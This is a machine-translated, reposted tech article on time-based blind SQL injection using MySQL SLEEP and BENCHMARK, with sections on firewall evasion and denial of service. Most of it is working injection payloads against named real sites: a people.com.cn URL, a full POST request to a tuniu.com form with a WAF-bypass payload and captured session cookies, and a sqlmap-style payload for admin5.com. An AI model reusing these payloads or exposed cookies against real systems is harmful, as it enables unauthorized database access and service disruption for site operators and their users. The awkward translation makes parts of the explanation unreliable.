Shulou(Shulou.com)06/01 Report--

A: time difference injection, also known as delay injection, is a blind injection method to submit function sql statements that remember the execution time, and judge whether the execution is successful by the length of execution time. For example, if it is correct, it will lead to a long time, and an error will lead to a short execution time. This is the so-called advanced blind injection.

Using BENCHMARK sleep function to inject

Using sleep can also cause a denial of service

B:

Sometimes when we pour into a certain station, a certain station suddenly won't open.

Temporarily isolated by the firewall, you can't browse his page, so you have to change your IP or wait for recovery.

Or when submitting injection parameters, some kind of protection of the website, he will jump to an error page and visit the error page N times before he will visit it normally.

This will affect our efficiency, which is why delayed injection is also a lesson, it is quite important.

C:

Tuniu main station delay injection + waf bypass

Http://www.2cto.com/Article/201502/377118.html

Eg.1

Http://wap.people.com.cn/newsView.php?sid=&cnid=1456639 and sleep (99999999999) & chid=1_14_3&coid=1_14_3_1&wv=2&v=l&return=c

Eg.2

POST / main.php?do=online_book_do_visitor HTTP/1.1

Host: km.tuniu.com

User-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 3: 0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16

Accept: * / *

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://km.tuniu.com/main.php?do=online_book_visitor&order_id=4550094

Content-Length: 285

Cookie: p_phone_400=4007-999-999; PHPSESSID=8v1dgvcbbm0elnoprf91chnfv7; tuniu_channel=MTAwLDAsZDdiY2U0NTViYjViMDFhNWExYzk1YTM2ZjZiNDEyY2Q%3D; tuniuuser_citycode=MzMwMg%3D%3D; swatches true 1421595835812; swatches% 5B% 5BB% 5D% 5D; _ _ utma=1.151979505.1421595199.1421595199.1421595199.1; _ utmb=1.170.9.1421599758357; _ _ utmc=1; _ utmz=1.1421595199.1.1.utmcsr= (direct) | utmccn= (direct) | utmcmd= (none); _ tacau=MCxmMWJlYWNiMS03N2M1LTQ0ZjEtOThlMC0wYzc5ZWE2ZTRjMmQs; _ tact=Y2UyNzU5NmMtMDIxNS0yMjFjLTgzYjItMDgxODUyOTM0ODVm _ tacz2=taccsr%3D%28direct%29%7Ctacccn%3D%28none%29%7Ctaccmd%3D%28none%29%7Ctaccct%3D%28none%29%7Ctaccrt%3D%28none%29; _ taca=1421595199130.1421595199130.1421595199130.1; _ tacb=NGYzNDkyNWMtY2ZlNi05MmJjLTA4MDAtOTgxMmFlYjRlZTkx; _ tacc=1; tuniuuser_ip_citycode=MjAw; tuniuuser=NzczODQ4Niw2ODIzNjEzODU5LDY4MjM2MTM4NTkmcXVvdDsmYW1wO2d0O3M7JiMwMzk7LDAsMTQyMTU5NTQzMiw5ZjY0OTg2YzdkYzE0NzM0ZDEwZGFiZjM2NWYyMDBlOQ%3D%3D; tuniusub=1; tuniuuser_p_w_picpath=aHR0cDovL20udHVuaXVjZG4uY29tL2ZpbGVicm9rZXIvY2RuL3ByZC83NS8wYy83NTBjMmRhYmFhZjRmYjY4ZjI2NzVlM2NlZjA1YmM2ZC5wbmc%3D; tuniuuser_vip=MA%3D%3D; tuniuuser_level=MA%3D%3D; tuniuuser_id=7738486; tuniuuser_name=NjgyMzYxMzg1OSZxdW90OyZhbXA7Z3Q7czsmIzAzOTs%3D; Hm_lvt_dbdbb8d9c6cd72876c254897549e524b=1421503111,1421591375,1421594808,1421595437; Hm_lpvt_dbdbb8d9c6cd72876c254897549e524b=1421597431; tuniu_app_cc=list_three_days Tuniu_zeus=MzNfMV8yXzFfMV83OjpodHRwOi8vd3d3LnR1bml1LmNvbS9zdGF0aWMveW91amkvOjoyMDE1LTAxLTE4IDIzOjM5OjE0%2CMV8xXzFfMl8xXzE6Omh0dHA6Ly90b3AudHVuaXUuY29tLzo6MjAxNS0wMS0xOCAyMzo0NTozMA%3D%3D%2CMTFfMl8xXzJfNV8xOjpodHRwOi8vd3d3LnR1bml1LmNvbS86OjIwMTUtMDEtMTggMjM6NDY6MDg%3D%2CMV8xXzFfMl8xXzE6Omh0dHA6Ly93d3cudHVuaXUuY29tLzo6MjAxNS0wMS0xOCAyMzo0ODozNQ%3D%3D%2CMTJfMl8xXzFfMl8zOjpodHRwOi8vd3d3LnR1bml1LmNvbS86OjIwMTUtMDEtMTkgMDA6NDk6MTg%3D; visit_history=5186662%2C780023%2C; _ um_uuid=f7a45f3da941376f5abce7a65b613f27; _ _ ozlvd1940=1421602934; tuniu_is_login=MQ%3D%3D; tuniu_newer=set_one_day; Hm_lvt_44f54d76a67ba9230a7bb92d5ed5e4ba=1421253828,1421597324; Hm_lpvt_44f54d76a67ba9230a7bb92d5ed5e4ba=1421597366; appdown=1; TUNIUmuser=1c80b2cffeddb233b6a4fbfddb375c15; tuniu_partner=MTAxLDAsLDlmZDgyZThjYTZkNGMwMTlmZTUyNzdlYjJmNTcxYzQ1; pgv_pvi=3638345589; pgv_info=ssi=s4790786375; tel_400=4007996820; PageSwitch=2%2C1429375904; _ _ utmt=1

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Visitor_info=123,33071919680425367s1l'+and+sleep%252811%2529+and+'1,1,1968-04-25

Eg.3

Place: GET

Parameter: appid

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: appid=330051' AND SLEEP (5) AND 'xRsl'='xRsl&host=admin5.com

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.